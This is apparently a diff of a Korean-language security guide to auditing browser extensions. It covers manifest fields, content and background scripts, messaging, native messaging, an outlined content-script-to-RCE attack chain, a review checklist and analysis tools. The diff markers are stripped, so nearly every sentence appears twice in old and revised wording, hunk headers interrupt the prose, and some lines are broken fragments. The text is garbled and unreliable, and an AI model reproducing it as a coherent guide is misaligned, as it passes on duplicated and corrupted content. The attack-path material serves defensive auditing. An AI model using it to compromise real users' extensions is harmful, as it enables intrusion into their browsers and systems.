> 사용자의 전체 권한을 얻으려면 공격자는 확장에 콘텐츠 스크립트에서 악의적인 입력을 확장 코어로 전달하고, 확장 코어에서 네이티브 바이너리로 전달하도록 설득해야 합니다.
> 사용자의 전체 권한을 얻으려면 공격자는 확장에 콘텐츠 스크립트에서 악의적인 입력을 확장 코어로, 그리고 확장 코어에서 네이티브 바이너리로 전달하도록 설득해야 합니다.
확장의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다.
또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다.
게다가, 콘텐츠 스크립트는 **별도의 JavaScript 힙에서 실행**되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다.
## **`manifest.json`**
Chrome 확장은 단순히 [.crx 파일 확장자](https://www.lifewire.com/crx-file-2620391)를 가진 ZIP 폴더입니다. 확장의 코어는 폴더의 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다.
Chrome 확장은 단순히 [.crx 파일 확장자](https://www.lifewire.com/crx-file-2620391)를 가진 ZIP 폴더입니다. 확장의 핵심은 폴더의 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다.
Example:
```json
@ -76,9 +76,9 @@ Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다*
}
],
```
더 많은 URL을 포함하거나 제외하기 위해 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다.
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다.
이것은 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트로, [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색니다.
다음은 [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색할 때 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트입니다.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,10 +91,10 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
이 버튼이 클릭되면 콘텐츠 스크립트를 통해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용하여 이루어집니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다.
이 버튼이 클릭되면 콘텐츠 스크립트에 의해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용하여 이루어집니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다.
> [!WARNING]
> 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이 주요 출처니다.\
> 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우, 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이 주요 출처로 사용됩니다.\
> 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다.
Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다.
@ -106,7 +106,7 @@ Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개
> [!TIP]
> **콘텐츠 스크립트는 필수적이지 않습니다.** 웹 페이지에 **동적으로** **주입**하거나 **프로그래밍 방식으로 주입**할 수 있는 스크립트를 **`tabs.executeScript`**를 통해 주입할 수 있습니다. 이는 실제로 더 **세밀한 제어**를 제공합니다.
콘텐츠 스크립트를 프로그래밍 방식으로 주입하려면 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다.
콘텐츠 스크립트를 프로그래밍 방식으로 주입하기 위해서는 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다.
#### 예시 activeTab 기반 확장
```json:manifest.json
@ -169,7 +169,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
```
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다.
### Content Scripts `run_at`
### 콘텐츠 스크립트 `run_at`
`run_at` 필드는 **JavaScript 파일이 웹 페이지에 주입되는 시점**을 제어합니다. 선호되는 기본 값은 `"document_idle"`입니다.
@ -179,7 +179,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
- **`document_start`**: `css`의 파일이 로드된 후, 그러나 다른 DOM이 구성되거나 다른 스크립트가 실행되기 전에.
- **`document_end`**: DOM이 완료된 직후, 그러나 이미지 및 프레임과 같은 하위 리소스가 로드되기 전에.
#### Via `manifest.json`
#### `manifest.json`을 통해
```json
{
"name": "My extension",
@ -208,7 +208,7 @@ js: ["contentScript.js"],
```
### `background`
내용 스크립트에서 전송된 메시지는 **background page**에 의해 수신되며, 이는 확장 구성 요소를 조정하는 중앙 역할을 합니다. 특히, background page는 확장의 수명 동안 지속되며, 사용자와의 직접적인 상호작용 없이 조용히 작동합니다. 자체 Document Object Model (DOM)을 가지고 있어 복잡한 상호작용 및 상태 관리를 가능하게 합니다.
내용 스크립트가 전송한 메시지는 **background page**에서 수신되며, 이는 확장 구성 요소를 조정하는 중앙 역할을 합니다. 특히, background page는 확장의 수명 동안 지속되며, 사용자와의 직접적인 상호작용 없이 조용히 작동합니다. 자체 Document Object Model (DOM)을 가지고 있어 복잡한 상호작용 및 상태 관리를 가능하게 합니다.
**주요 사항**:
@ -239,7 +239,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
- **작업 페이지**는 **확장 아이콘**을 클릭할 때 드롭다운에 표시됩니다.
- 확장이 **새 탭에서 로드할** 페이지.
- **옵션 페이지**: 이 페이지는 클릭할 때 확장 위에 표시됩니다. 이전 매니페스트에서는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 다음을 클릭하여 접근할 수 있었습니다:
- **옵션 페이지**: 이 페이지는 클릭 확장 위에 표시됩니다. 이전 매니페스트에서는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 다음을 클릭하여 접근할 수 있었습니다:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
@ -250,7 +250,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
### `permissions` & `host_permissions`
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **브라우저 확장이 어떤 권한**(저장소, 위치 등)을 가지고 있는지와 **어떤 웹 페이지에서** 해당 권한이 적용되는지를 나타냅니다.
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **브라우저 확장이 어떤 권한**(저장소, 위치 등)을 가지고 있는지와 **어떤 웹 페이지에서** 이를 사용할 수 있는지를 나타냅니다.
브라우저 확장이 매우 **특권적**일 수 있으므로, 악의적인 확장이나 손상된 확장은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다**.
@ -268,7 +268,7 @@ browext-permissions-and-host_permissions.md
```bash
script-src 'self'; object-src 'self';
```
CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요:
CSP와 잠재적인 우회에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
../content-security-policy-csp-bypass/
@ -276,7 +276,7 @@ CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요
### `web_accessible_resources`
페이지가 브라우저 확장의 페이지에 접근하기 위해서는, 예를 들어 `.html` 페이지, 이 페이지는 `manifest.json`**`web_accessible_resources`** 필드에 언급되어야 합니다.\
웹페이지가 브라우저 확장의 페이지에 접근하기 위해서는, 예를 들어 `.html` 페이지, 이 페이지는 `manifest.json`**`web_accessible_resources`** 필드에 언급되어야 합니다.\
예를 들어:
```javascript
{
@ -298,7 +298,7 @@ CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요
```
chrome-extension://<extension-id>/message.html
```
식 확장에서는 **extension-id에 접근할 수 있습니다**:
개 확장 프로그램에서는 **extension-id에 접근할 수 있습니다**:
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
@ -307,26 +307,26 @@ chrome-extension://<extension-id>/message.html
> [!TIP]
> 여기에서 페이지가 언급되더라도, **Content Security Policy** 덕분에 **ClickJacking**에 대해 **보호될 수 있습니다**. 따라서 ClickJacking 공격이 가능한지 확인하기 전에 (frame-ancestors 섹션) 이를 확인해야 합니다.
이 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**:
러한 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**:
{{#ref}}
browext-clickjacking.md
{{#endref}}
> [!TIP]
> 이러한 페이지가 무작위 URL이 아닌 확장에 의해서만 로드되도록 허용하면 ClickJacking 공격을 방지할 수 있습니다.
> 이러한 페이지가 무작위 URL이 아닌 확장 프로그램에 의해서만 로드되도록 허용하면 ClickJacking 공격을 방지할 수 있습니다.
> [!CAUTION]
> **`web_accessible_resources`**의 페이지와 확장의 다른 페이지도 **백그라운드 스크립트 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다.
> **`web_accessible_resources`**의 페이지와 확장 프로그램의 다른 페이지도 **백그라운드 스크립트 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다.
>
> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다.
> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장 프로그램의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다.
### `externally_connectable`
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장에 연결할 수 있는지를 선언합니다.
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다.
- **`externally_connectable`** 키가 귀하의 확장 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장이 연결할 수 있지만 웹 페이지는 연결할 수 없습니다**.
- **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`와 같이, **오직 해당 애플리케이션만** 연결할 수 있습니다.
- **`externally_connectable`** 키가 귀하의 확장 프로그램의 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장 프로그램이 연결할 수 있지만 웹 페이지는 연결할 수 없습니다**.
- **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **오직 해당 애플리케이션만** 연결할 수 있습니다.
- **matches**가 지정된 경우, 해당 웹 앱은 연결할 수 있습니다:
```json
"matches": [
@ -335,7 +335,7 @@ browext-clickjacking.md
```
- 비어 있는 것으로 지정된 경우: **`"externally_connectable": {}`**, 어떤 앱이나 웹도 연결할 수 없습니다.
여기에서 **확장 프로그램과 URL**이 적을수록 **공격 표면**이 작아집니다.
여기에서 **확장 프로그램과 URL**이 적을수록, **공격 표면**이 작아집니다.
> [!CAUTION]
> 만약 **`externally_connectable`**에 **XSS 또는 탈취에 취약한** 웹 페이지가 표시되면, 공격자는 **배경 스크립트에 직접 메시지를 보낼 수** 있어, Content Script와 그 CSP를 완전히 우회할 수 있습니다.
@ -348,11 +348,11 @@ browext-clickjacking.md
### 확장 프로그램 <--> 웹앱
내용 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 내용 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으며 (따라서 웹은 이를 예상해야 함), 단순히 웹이 새로운 스크립트를 로드하도록 만들 수도 있습니다.
콘텐츠 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 보통 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **포스트 메시지를 보내 웹 애플리케이션과 통신**할 수도 있으므로 웹은 이를 예상해야 하며, 단순히 웹이 새로운 스크립트를 로드하도록 할 수도 있습니다.
### 확장 프로그램 내부
일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며 (일반적으로 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다.
일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며(보통 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다.
단일 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수도 있으며, 다음 예제와 같이 **메시지를 보내고** **받는** 데 사용할 수 있습니다:
@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ...
### 네이티브 메시징
백그라운드 스크립트가 시스템 내의 바이너리와 통신할 수 있으며, 이 통신이 적절하게 보호되지 않으면 **RCE와 같은 치명적인 취약점에 노출될 수 있습니다**. [자세한 내용은 나중에](#native-messaging).
백그라운드 스크립트가 시스템 내의 바이너리와 통신할 수 있으며, 이 통신이 적절하게 보호되지 않으면 **RCE와 같은 치명적인 취약점에 노출될 수 있습니다**. [자세한 내용은 나중에](#native-messaging) 확인하세요.
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -454,7 +454,7 @@ false
- **`event.isTrusted`**: 이 값은 이벤트가 사용자 행동에 의해 트리거된 경우에만 True입니다.
- 콘텐츠 스크립트는 사용자가 어떤 행동을 수행할 때만 메시지를 기대할 수 있습니다.
- **origin domain**: 메시지를 기대할 수 있는 도메인의 화이트리스트만 허용할 수 있습니다.
- **origin domain**: 메시지를 기대할 수 있는 도메인의 허용 목록만 허용할 수 있습니다.
- 정규 표현식을 사용하는 경우, 매우 주의해야 합니다.
- **Source**: `received_message.source !== window`를 사용하여 메시지가 **콘텐츠 스크립트가 수신 대기 중인 동일한 창**에서 온 것인지 확인할 수 있습니다.
@ -476,7 +476,7 @@ browext-xss-example.md
이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 이 데이터를 **수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**.
**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예**도 다음에서 찾을 수 있습니다:
**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시**는 다음에서 찾을 수 있습니다:
{{#ref}}
browext-xss-example.md
@ -525,7 +525,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
중요한 고려 사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서, **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다.
새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 만약 어떤 핸들러`true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다.
새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 핸들러 중 어느 것`true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다.
## Native Messaging
@ -556,14 +556,14 @@ console.log("Received " + response)
}
)
```
In [**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)에서는 네이티브 메시지를 악용하는 취약한 패턴이 제안됩니다:
[**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)에서는 네이티브 메시지를 악용하는 취약한 패턴이 제안됩니다:
1. 브라우저 확장 프로그램은 콘텐츠 스크립트에 대한 와일드카드 패턴을 가지고 있습니다.
2. 콘텐츠 스크립트는 `sendMessage`를 사용하여 백그라운드 스크립트에 `postMessage` 메시지를 전달합니다.
3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다.
4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다.
그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 방법에 대한 예제가 설명됩니다**.
그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예제가 설명됩니다**.
## 메모리/코드/클립보드의 민감한 정보
@ -573,13 +573,13 @@ In [**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-executi
물론, **코드에 민감한 정보를 넣지 마십시오**, 이는 **공개**될 것입니다.
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`**을 클릭한 후 **`Memory`** 섹션에서 **`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`** 클릭 -> **`Memory`** 섹션 -> **`Take a snapshot`** 클릭 후 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다**(또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다.
## 브라우저에 확장 프로그램 로드하기
1. **브라우저 확장 프로그램을 다운로드**하고 압축을 풉니다.
1. 브라우저 확장 프로그램을 **다운로드**하고 압축을 풉니다.
2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다.
3. **`Load unpacked`** 버튼을 클릭합니다.
@ -587,11 +587,11 @@ In [**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-executi
## 스토어에서 소스 코드 가져오기
Chrome 확장의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
Chrome 확장 프로그램의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드
Chrome 확장의 소스 코드는 명령줄을 사용하여 ZIP 파일로 다운로드할 수 있습니다. 이는 `curl`을 사용하여 특정 URL에서 ZIP 파일을 가져오고, ZIP 파일의 내용을 디렉토리에 추출하는 과정을 포함합니다. 단계는 다음과 같습니다:
Chrome 확장 프로그램의 소스 코드는 명령줄을 사용하여 ZIP 파일로 다운로드할 수 있습니다. 이는 `curl`을 사용하여 특정 URL에서 ZIP 파일을 가져오고, ZIP 파일의 내용을 디렉토리에 추출하는 과정을 포함합니다. 단계는 다음과 같습니다:
1. `"extension_id"`를 확장의 실제 ID로 바꿉니다.
2. 다음 명령을 실행합니다:
@ -631,7 +631,7 @@ Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에
## Chrome 확장 프로그램 매니페스트 데이터셋
취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고, 잠재적으로 취약한 징후가 있는 매니페스트 파일을 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면:
취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고 그들의 매니페스트 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@ -643,12 +643,12 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- [ ] 요청된 **`permissions`**를 가능한 한 많이 **제한**합니다.
- [ ] **`host_permissions`**를 가능한 한 많이 **제한**합니다.
- [ ] **강력한** **`content_security_policy`**를 사용합니다.
- [ ] 필요하지 않다면 **`externally_connectable`** 가능한 한 많이 **제한**하고, 기본값으로 두지 말고 **`{}`**로 지정합니다.
- [ ] 여기에서 **XSS 또는 인수 취득에 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다.
- [ ] 필요하지 않다면 **`externally_connectable`** 가능한 한 많이 **제한**하고, 기본값으로 두지 말고 **`{}`**로 지정합니다.
- [ ] 여기에서 **XSS 또는 인수 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다.
- [ ] **`web_accessible_resources`**를 가능한 한 많이 **제한**합니다. 가능하다면 비워두세요.
- [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다.
- [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, **통신에서 발생한 XSS** [**취약점**](browext-xss-example.md)을 **확인합니다**.
- [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.**
- [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/index.html)**을 확인합니다.**
- [ ] **Content Script가 DOM 세부정보에 접근**하는 경우, 웹에 의해 **수정**될 때 **XSS를 도입하지 않는지** 확인합니다.
- [ ] 이 통신이 **Content Script -> Background script 통신**에 관련되어 있다면 특별히 강조합니다.
- [ ] 백그라운드 스크립트가 **네이티브 메시징**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다.
@ -665,27 +665,27 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- 제공된 Chrome 웹스토어 링크에서 Chrome 확장을 가져옵니다.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장의 매니페스트의 JSON 예쁘게 정리된 버전을 간단히 표시합니다.
- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 감지 및 Chrome 확장 지문 생성 JavaScript 자동 생성.
- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지의 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장의 매니페스트의 JSON 예쁘게 포맷된 버전을 간단히 표시합니다.
- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 감지 및 Chrome 확장 지문 생성 JavaScript 자동 생성.
- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시문이 설정된 확장 HTML 페이지 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다.
- **권한 경고 뷰어**: 사용자가 확장을 설치하려고 할 때 표시될 Chrome 권한 프롬프트 경고 목록을 보여줍니다.
- **위험한 함수**: 공격자가 악용할 수 있는 위험한 함수의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript와 같은 함수).
- **진입점**: 확장이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장의 표면적을 이해하고 악의적으로 조작된 데이터를 확장으로 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다.
- 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 포함합니다:
- 경고를 유발한 관련 코드 조각 및 줄.
- 경고를 유발한 관련 코드 스니펫 및 라인.
- 문제 설명.
- 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼.
- 경고된 파일의 경로.
- 경고된 파일의 전체 Chrome 확장 URI.
- 파일 유형 (예: Background Page 스크립트, Content Script, Browser Action 등).
- 취약한 이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태.
- 취약한 라인이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태.
- **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장의 CSP의 약점을 지적하고, 화이트리스트에 있는 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝혀냅니다.
- **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다.
- 확장 및 형식화된 버전 다운로드.
- 확장 및 포맷된 버전 다운로드.
- 원본 확장 다운로드.
